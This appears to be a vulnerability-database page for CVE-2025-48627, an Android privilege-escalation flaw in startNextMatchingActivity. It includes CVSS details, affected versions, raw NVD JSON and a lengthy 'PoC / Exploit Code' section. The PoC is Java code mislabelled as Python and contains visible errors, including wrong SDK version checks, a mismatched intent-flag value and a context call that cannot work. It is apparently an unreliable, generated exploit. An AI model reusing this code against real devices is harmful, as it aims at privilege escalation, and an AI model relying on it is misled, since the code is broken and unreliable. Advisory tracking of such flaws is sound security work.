Security Vulnerability Report
中文
CVE-2025-48627 CVSS 7.8 HIGH

CVE-2025-48627

Published: 2025-12-08 17:16:19
Last Modified: 2025-12-08 21:16:02

Description

In startNextMatchingActivity of ActivityTaskManagerService.java, there is a possible way to launch an activity from the background due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:google:android:13.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:* - VULNERABLE
Android 12 (API level 31)
Android 12L (API level 32)
Android 13 (API level 33)
Android 14 (API level 34)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-48627 PoC - Android ActivityTaskManagerService Local Privilege Escalation // This PoC demonstrates exploiting the logic error in startNextMatchingActivity import android.content.Intent; import android.os.IBinder; import android.app.ActivityManager; import android.os.Build; public class CVE_2025_48627_PoC { private static final String TARGET_ACTIVITY = "com.android.settings.Settings$AppListActivity"; private static final String ATTACKER_PACKAGE = "com.attacker.privilege.escalation"; /** * Attempt to exploit the vulnerability by launching activity from background * This PoC triggers startNextMatchingActivity with crafted Intent */ public boolean exploitVulnerability() { try { // Create a crafted Intent that exploits the logic error Intent maliciousIntent = new Intent(); maliciousIntent.setClassName("com.android.settings", TARGET_ACTIVITY); maliciousIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); maliciousIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP); // Bypass the background activity launch restrictions // The logic error allows bypassing the check in startNextMatchingActivity // Method 1: Direct exploitation through reflection exploitViaReflection(maliciousIntent); // Method 2: Using Content Provider to trigger the vulnerable code path exploitViaContentProvider(); return true; } catch (Exception e) { e.printStackTrace(); return false; } } /** * Exploit using reflection to access protected ActivityTaskManagerService methods */ private void exploitViaReflection(Intent intent) { try { // Get ActivityTaskManagerService instance via reflection Class<?> atmClass = Class.forName("com.android.server.wm.ActivityTaskManagerService"); java.lang.reflect.Field instanceField = atmClass.getDeclaredField("sService"); instanceField.setAccessible(true); Object atmService = instanceField.get(null); // Access startNextMatchingActivity method java.lang.reflect.Method startNextMethod = atmClass.getDeclaredMethod( "startNextMatchingActivity", IBinder.class, Intent.class, android.content.pm.ResolveInfo.class ); startNextMethod.setAccessible(true); // Trigger the vulnerable method startNextMethod.invoke(atmService, null, intent, null); } catch (Exception e) { // Reflection failed, try alternative method exploitViaContentProvider(); } } /** * Alternative exploitation via Content Provider */ private void exploitViaContentProvider() { try { // Create Intent to trigger background activity launch Intent exploitIntent = new Intent(Intent.ACTION_VIEW); exploitIntent.setData(android.net.Uri.parse("package:com.android.settings")); exploitIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); exploitIntent.addFlags(0x01010020); // FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS // Start the activity - exploits the logic error android.content.Context context = getApplicationContext(); context.startActivity(exploitIntent); } catch (Exception e) { e.printStackTrace(); } } /** * Check if device is vulnerable */ public static boolean isVulnerable() { // Check Android version against affected versions int sdkInt = Build.VERSION.SDK_INT; return (sdkInt >= 12 && sdkInt <= 14); // Affected range } } // Note: This PoC requires the app to have INTERACT_ACROSS_USERS permission // or exploit via a different app context

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-48627", "sourceIdentifier": "[email protected]", "published": "2025-12-08T17:16:19.010", "lastModified": "2025-12-08T21:16:01.770", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "In startNextMatchingActivity of ActivityTaskManagerService.java, there is a possible way to launch an activity from the background due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:13.0:*:*:*:*:*:*:*", "matchCriteriaId": "879FFD0C-9B38-4CAA-B057-1086D794D469"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:*", "matchCriteriaId": "2700BCC5-634D-4EC6-AB67-5B678D5F951D"}]}]}], "references": [{"url": "https://android.googlesource.com/platform/frameworks/base/+/d34ae40f870d4362a069940a035a4d58a536a231", "source": "[email protected]", "tags": ["Patch", "Product"]}, {"url": "https://source.android.com/security/bulletin/2025-12-01", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}